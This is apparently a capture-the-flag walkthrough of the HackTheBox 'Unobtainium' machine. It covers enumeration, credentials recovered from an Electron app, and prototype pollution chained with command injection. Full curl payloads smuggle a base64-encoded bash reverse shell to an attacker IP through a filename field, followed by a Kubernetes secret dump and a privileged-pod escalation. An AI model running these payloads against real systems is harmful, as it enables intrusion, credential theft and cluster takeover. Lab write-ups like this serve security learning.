16 KiB
HackTheBox-Unobtainium
NMAP
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
2379/tcp open ssl/etcd-client? syn-ack ttl 63
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
| tls-nextprotoneg:
|_ h2
2380/tcp open ssl/etcd-server? syn-ack ttl 63
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
| tls-nextprotoneg:
|_ h2
8443/tcp open ssl/https-alt syn-ack ttl 63
| fingerprint-strings:
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Wed, 04 Aug 2021 08:17:15 GMT
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason
":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Wed, 04 Aug 2021 08:17:16 GMT
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","re
ason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.sv
c, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.10.235, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Issuer: commonName=minikubeCA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-07-25T14:52:45
10249/tcp open http syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8)
10250/tcp open ssl/http syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium@1610865428
| Subject Alternative Name: DNS:unobtainium
| Issuer: commonName=unobtainium-ca@1610865428
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-17T05:37:08
| Not valid after: 2022-01-17T05:37:08
10256/tcp open http syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
31337/tcp open http syn-ack ttl 62 Node.js Express framework
| http-methods:
| Supported Methods: GET HEAD PUT DELETE POST OPTIONS
|_ Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
38233/tcp filtered unknown no-response
We can see a lot of ports from the nmap scan , the ports that are of our interest is port 80 and port 8443 on which kuberentes is running , kubernetes is used for container orchestration which is manager of running number of docker containers , monitioring and managing them. So first I'll enumerate the webserver on port 80
PORT 80 (HTTP)
On port 80 we can see a simlple HTML template on which we have options to download a chat application what is called Unobtainium
.
After downloading the debain file we can install it on our linux machine or we could unizp it to read the source code , on extracting , it looks like it's made using electron
which is an open source framework for building deskop based application using javascript.
We can see a folder named resources
and in that folder there's a file named app.asar
which is an archive used to package source code for an application using Electron
. We can extract the files from it using npx
https://stackoverflow.com/questions/38523617/how-to-unpack-an-asar-file
We can find some creds from app.js
Now installing the .deb package with apt install ./unobtainium_1.0.0_amd64.deb
we can use the unobtanium
binary also make sure to add unobtanium.htb
in /etc/hosts file as it's making requests to that domain name.
We can send messages through this application and it logs those messages
So using wireshark
we can analyze how it's making a POST request
Right click on /todo
packet and follow TCP stream
From the terminal we can do a POST request like this
curl --header "Content-Type: application/json" \
--request POST \
--data '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}' \
http://unobtainium.htb:31337/todo
Let's try to grab index.js
Notice that the contents of index.js are different so to get a clear picture save this response in a bash scipt file like this
echo -e 'respone'
Here -e
will interpret those \n
as new line character
Here we can see a library is being used google-cloudstorage-commands
which is vulnerable to command injection
https://snyk.io/test/npm/google-cloudstorage-commands/0.0.1
Also we can upload files through a POST request /upload
So to get a reverse shell we need to first echo
the base64 encoded bash reverse shell , pipe that to decode it and run it by piping it to bash
curl -X PUT -H 'Content-Type: application/json' http://unobtainium.htb:31337/ --data '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__":{"canUpload":true}}}'
Insert porotype pollution explaination , report and screenshot
bash -i >& /dev/tcp/10.10.14.45/2222 0>&1
curl --header "Content-Type: application/json" \
--request POST \
--data '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40NS8yMjIyIDA+JjE=' |base64 -d|bash"}' \
http://unobtainium.htb:31337/upload
Now to enumerate docker containers , we need to see if it's in a network of containers since we saw that kubernetes is being used. To check if there are other containers we can do a nmap scan , since the container doens't have one we can use static nmap binary and host it on our machine and download it through wget
as it's avaiable on docker container. Prior to this I did try pining other hosts and it turns out there 10 hosts , from 172.17.0.1 to 172.17.0.10.
I used the static nmap binary to do all port scan for 10 hosts .
172.17.0.1
Host is up (0.000022s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8443/tcp open unknown
10250/tcp open unknown
10256/tcp open unknown
31337/tcp open unknown
172.17.0.2
Host is up (0.000033s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
5000/tcp open unknown
172.17.0.4
Host is up (0.000017s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
3000/tcp open unknown
172.17.0.5
Host is up (0.000051s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
53/tcp open domain
8080/tcp open http-alt
8181/tcp open unknown
9153/tcp open unknown
172.17.0.6
Host is up (0.000025s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
3000/tcp open unknown
172.17.0.7
Host is up (0.000025s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
3000/tcp open unknown
172.17.0.8
Host is up (0.000025s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
3000/tcp open unknown
172.17.0.9
Host is up (0.000025s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
3000/tcp open unknown
172.17.0.10
Host is up (0.000025s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
3000/tcp open unknown
Now we cannot do anything here unless we upload kubectl
binary on the docker container , kubectl is a command line tool for interacting with kubernetest cluster from which you can deploy clusters , monitor and manage them , view logs or access namespaces.
After transferring kubetcl
we can use the command get pods
, a pod is a resource in which a container runs , usually one container runs in a pod , think pod as a wrapper around a docker container
We don't have permission to view it , let's view namespaces
, in kubernetes namespaces are used to organize clusters
into groups or into a category where as clusters are collection or set tof nodes (docker conatiners) that are used to run an application. So let's try to view namespaces through kubectl
Here we see 5 namespaces out of which default
, kube-public
and kube-system
. Default is for or objects with no other namespace, kube-public is used for public resources and kube-system is for objects created by the kubernetes system. We can't access them if we want to
Here I used -n
which will specifiy which namespace we want to get information of , but we can't these namespaces, only dev
namespace can be accessed here
We have 3 pods running in dev
namespace , to get information of a pod in this namespace we can use this command
./kubectl get -o json pod devnode-deployment-cd86fb5c-6ms8d -n dev
It has an exposed port which is 3000 as we saw from the nmap scan so this means it will be runnning the same API server from which we can get a rev shell again , now let's look for it's IP
I got the rev shell again so that I could have to shells on the docker container , as I need a rev shell on the docker container again and I don't want to do port forwarding
I transferred static binary of ncat
on docker container
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat
curl -X PUT -H 'Content-Type: application/json' http://172.17.0.10:3000 --data '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__":{"canUpload":true}}}'
curl --header "Content-Type: application/json" \
--request POST \
--data '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC40LzIyMjIgMD4mMQ==' |base64 -d|bash"}' \
http://172.17.0.10:3000/upload
Doing those steps again still I couldn't get a shell back
Now we really need to do portforwarding as this doesn't work on docker container , so we'll have to use chisel
for port forwarding
Here I am have started a chisel server on port 2222 and on the client I am port forwarding the port 3000 from the target 172.17.0.10 and mappning it on port 3000 on my machine
This doesn't have a user.txt
flag which means we are on a different docker container, also if we try to see if kubectl
exists or not
Again we need to transfer that binary in this container
From this container we can't get even namespaces
but using kubectl get secrets -n kube-system
we can get secrets. A secret
is an object that contains a small amount of sensitive data such as a password, a token, or a key with which we have ability to modify or create pods in namespace
We can get information of the secret through /kubectl describe secret c-admin-token-tfmp2 -n kube-system
Reffering to this article https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation
We can create what is called Bad Pods
that can give you root access to the host system if you have compromised kuberneteres secretes which have so we can try to make a bad pod
I'll be using this yaml file for creating a pod but the problem is that we can't download the image , in this yaml file it is set to ubuntu
as this machine doesn't have internet access it can't really download the image
But going back to the information we pulled from the pod in dev
namespace we can use the image name localhost:5000/node_server
For this to work we need to supply the token other wise pod won't be created
On our netcat we would get a reverse shell but it will get terminated as a pod clean up script is being ran